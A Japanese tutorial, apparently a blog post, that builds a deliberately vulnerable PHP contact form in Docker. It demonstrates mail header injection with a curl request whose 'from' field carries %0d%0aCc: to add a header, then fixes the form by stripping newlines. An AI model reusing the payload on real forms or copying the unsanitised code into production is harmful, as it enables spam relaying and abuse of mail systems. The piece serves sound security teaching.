みなさんは、メールヘッダ・インジェクション見たことありますか?
最近は大体ライブラリやフレームワークによって対策されてるので見なくなってるらしいです。
しかし、まだスクラッチで書いていたら起きる可能性があるようだったので、どうやっておこるのか、どうやって対策するのかを理解するために調べて見ました。
また、簡単に確認できるように脆弱なサンプルアプリを作って MailCatcher という gem を利用してメールの受信を行います。
そもそもメールヘッダ・インジェクションとは
メールヘッダーインジェクションとは、メールヘッダーが改行文字によって構成されることを利用した改行インジェクション攻撃の一種です。(HTTPのヘッダも同じ仕様で同じ形式なのでHTTPヘッダ・インジェクションってやつと似てます)
メールのソースは下記のようになっていてヘッダ部分に変数などで入力がある場合に改行が混在することで起こります。
確認するためにサンプルを作る
簡単に実装するためにPHPを利用する
additional_headers は、メールヘッダインジェクション対策を行っていません。 したがって、指定したヘッダが安全なものであり、ヘッダ以外のものを含まないようにするのはユーザー側の役目となります。 複数の改行文字を置くことでメール本文を始めたりしてはいけません。
php の mail 関数はデフォルトで対策してないって明記されているので、対策せずに利用して行きます。
必要なツール
- Docker
- Docker Compose
macの人は下記でインストールできます。
$ brew cask install docker
サンプルアプリを作る
やったこと
- from, to, subject, 本文を送信する必要があるのでそのためのフォームを書きます。
- postで来た場合はメールを投げてリダイレクトするようにします。
<?php
// ホントはバリデーションしたりエラー処理したりするべきだけどサンプルなので
if($_SERVER["REQUEST_METHOD"] === "POST"){
$from = empty($_POST['from']) ? 'example@example.com' : $_POST['from'];
$to = empty($_POST['to']) ? 'example@example.com' : $_POST['to'];
$subject = empty($_POST['subject']) ? 'タイトル' : $_POST['subject'];
$message = empty($_POST['message']) ? 'テスト本文' : $_POST['message'];
$headers = 'From: ' . $from . "\r\n";
mb_send_mail($to, $subject, $message, $headers);
$url = "http://${_SERVER['HTTP_HOST']}";
header('Location: ' . $url);
exit;
}
<!DOCTYPE html>
<html lang = "ja">
<head>
<meta charset = "UFT-8">
<title>メールヘッダーインジェクションのサンプル</title>
</head>
<body>
<h1>メールヘッダーインジェクションのサンプル</h1>
<form method="post">
<label for="from">From:</label>
<input type = "text" id="from" name="from" value="example-from@example.com"><br/>
<label for="to">To:</label>
<input type = "text" id="to" name="to" value="example-to@example.com"><br/>
<label for="subject">タイトル:</label>
<input type = "text" id="subject" name="subject" value="タイトル"><br/>
<label for="message">本文:</label>
<input type = "text" id="message" name="message" value="テスト本文"><br/>
<input type = "submit" value ="送信">
</form>
</body>
</html>
簡単に動かすために docker 化する
やったこと
- mailcatcher で使うための sqlite3 と ruby を入れる
- mailcatcher を入れる
- php.ini をコピーする
FROM php:7.2.9-apache
RUN apt-get update && apt-get install -y --no-install-recommends \
libsqlite3-dev \
ruby-dev
RUN gem install mailcatcher
COPY php.ini /usr/local/etc/php/
やったこと
- タイムゾーンの設定
- mailcatcher にメールを送るための設定
- Rails, PHP, Django の設定が公式サイトに記載があるので参考にした
[Date]
date.timezone = "Asia/Tokyo"
[mail function]
sendmail_path = /usr/bin/env catchmail --smtp-ip smtp --smtp-port 1025
簡単に動かすために docker-compose の設定する
やったこと
- 先程作ったアプリの設定
- mailcatcher の設定
-
sj26/mailcatcher
は作者が Docker hub にアップしてるのでそのまま利用 -
restart: always
PCシャットダウンしたあとでも自動的に起動するので便利なので入れてる -
volumes:
の設定は 作ったアプリを書き換えながら試すときに便利なので入れている
-
version: '2'
services:
smtp:
image: sj26/mailcatcher
ports:
- "1080:1080"
restart: always
php:
build: .
ports:
- '80:80'
restart: always
volumes:
- ./html:/var/www/html
成果物
$ docker-compose up -d
下記にアクセスして起動してるか確認します。
お問い合わせフォーム
http://localhost
メールの受信確認
http://localhost:1080
実際にお問い合わせフォームに攻撃する
from パラメータに %0d%0a
をいれて改行されるように書き換える。
操作前: example-from%40example.com
操作後: example-from%40example.com%0d%0aCc:%20example-cc%40example.com
ブラウザからリクエストを送るとURLエンコードをブラウザが自動でやってくれるので改行文字がエスケープされてしまいます。
まずはそちらを確認して、次に curl でリクエストを送って確認します。
ブラウザから送信ボタンをおしてメール送信した場合
ブラウザから送信します。
POST / HTTP/1.1
Host: localhost
Content-Length: 206
Cache-Control: max-age=0
Origin: http://localhost
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost/
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Connection: close
from=example-from%2540example.com%250d%250aCc%3A%2520example-cc%2540example.com&to=example-to%40example.com&subject=%E3%82%BF%E3%82%A4%E3%83%88%E3%83%AB&message=%E3%83%86%E3%82%B9%E3%83%88%E6%9C%AC%E6%96%87
HTTP/1.1 302 Found
Date: Tue, 11 Sep 2018 12:41:14 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.2.9
Location: http://localhost
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8
Date: Tue, 11 Sep 2018 12:41:15 +0000
From: example-from%40example.com%0d%0aCc:%20example-cc%40example.com
To: example-to@example.com
Message-ID: <5b97b7eb2ae66_352aeb772650d89959f@7daf46499537.mail>
Subject: =?UTF-8?Q?=E3=82=BF=E3=82=A4=E3=83=88=E3=83=AB?=
Mime-Version: 1.0
Content-Type: text/plain;
charset=UTF-8
Content-Transfer-Encoding: base64
44OG44K544OI5pys5paH

リクエストを見ると %250d%250a
となって URL エンコードされていることがわかります。
そしてメールソースも分割されていないことがわかります。
curlリクエストしてメール送信した場合
下記のコマンドでポストのリクエストを curl で送ります。
$ curl -i -s -k -X $'POST' --data-binary $'from=example-from%40example.com%0d%0aCc:%20example-cc%40example.com&to=example-to%40example.com&subject=%E3%82%BF%E3%82%A4%E3%83%88%E3%83%AB&message=%E3%83%86%E3%82%B9%E3%83%88%E6%9C%AC%E6%96%87' $'http://localhost/'
POST / HTTP/1.1
Host: localhost
User-Agent: curl/7.54.0
Accept: */*
Content-Length: 194
Content-Type: application/x-www-form-urlencoded
Connection: close
from=example-from%40example.com%0d%0aCc:%20example-cc%40example.com&to=example-to%40example.com&subject=%E3%82%BF%E3%82%A4%E3%83%88%E3%83%AB&message=%E3%83%86%E3%82%B9%E3%83%88%E6%9C%AC%E6%96%87
HTTP/1.1 302 Found
Date: Tue, 11 Sep 2018 12:44:48 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.2.9
Location: http://localhost
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8
Date: Tue, 11 Sep 2018 12:44:48 +0000
From: example-from@example.com
To: example-to@example.com
Cc: example-cc@example.com
Message-ID: <5b97b8c0d0c6a_3d2ac2b2d0f0d0433a9@7daf46499537.mail>
Subject: =?UTF-8?Q?=E3=82=BF=E3=82=A4=E3=83=88=E3=83=AB?=
Mime-Version: 1.0
Content-Type: text/plain;
charset=UTF-8
Content-Transfer-Encoding: base64
44OG44K544OI5pys5paH

リクエストで URL エンコードされずに送れてることが確認できました。
そしてメールソースを見ると Cc: example-cc@example.com
といった形でヘッダーが改行され example-cc@example.com
にメールが送信されてしまったことがわかります。
対策するには
よくある対策は2つです。
- ヘッダに入力値を入れない
- 入力値の改行を削除する
今回はヘッダに値を入れて動作確認してる都合上入力値の改行を削除する方向で対象するのが良いでしょう。
<?php
if($_SERVER["REQUEST_METHOD"] === "POST"){
- $from = empty($_POST['from']) ? 'example@example.com' : $_POST['from'];
+ $from = empty($_POST['from']) ? 'example@example.com' : str_replace(array("\r\n","\r","\n"), '', $_POST['from']);
$to = empty($_POST['to']) ? 'example@example.com' : $_POST['to'];
POST / HTTP/1.1
Host: localhost
User-Agent: curl/7.54.0
Accept: */*
Content-Length: 200
Content-Type: application/x-www-form-urlencoded
Connection: close
from=example-from%40example.com%0d%0a%0d%0aCc:%20example-cc%40example.com&to=example-to%40example.com&subject=%E3%82%BF%E3%82%A4%E3%83%88%E3%83%AB&message=%E3%83%86%E3%82%B9%E3%83%88%E6%9C%AC%E6%96%87
HTTP/1.1 302 Found
Date: Tue, 11 Sep 2018 13:07:36 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.2.9
Location: http://localhost
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8
Date: Tue, 11 Sep 2018 13:07:36 +0000
From: example-from@example.comCc: example-cc@example.com
To: example-to@example.com
Message-ID: <5b97be18ae551_452afd992c30dc946e1@7daf46499537.mail>
Subject: =?UTF-8?Q?=E3=82=BF=E3=82=A4=E3=83=88=E3=83=AB?=
Mime-Version: 1.0
Content-Type: text/plain;
charset=UTF-8
Content-Transfer-Encoding: base64
44OG44K544OI5pys5paH

From: example-from@example.comCc: example-cc@example.com
となりヘッダに改行を追加することができてないのがわかります。
まとめ
メールヘッダ・インジェクションがどういうものか、実際に実装し確認したことでより理解が深まった気がします。
あと、PHP だと 7.2.9 (現時点の最新版)でもスクラッチで書いていたら起きる可能性があることがわかりました。
おまけ
対策前に欲張って改行をもう一つつけてメールの body までいじれないか試したところ
Warning: mb_send_mail(): Multiple or malformed newlines found in additional_header
だめです!
参考リンク
https://mailcatcher.me/
https://www.docker.com/
http://php.net/manual/ja/function.mail.php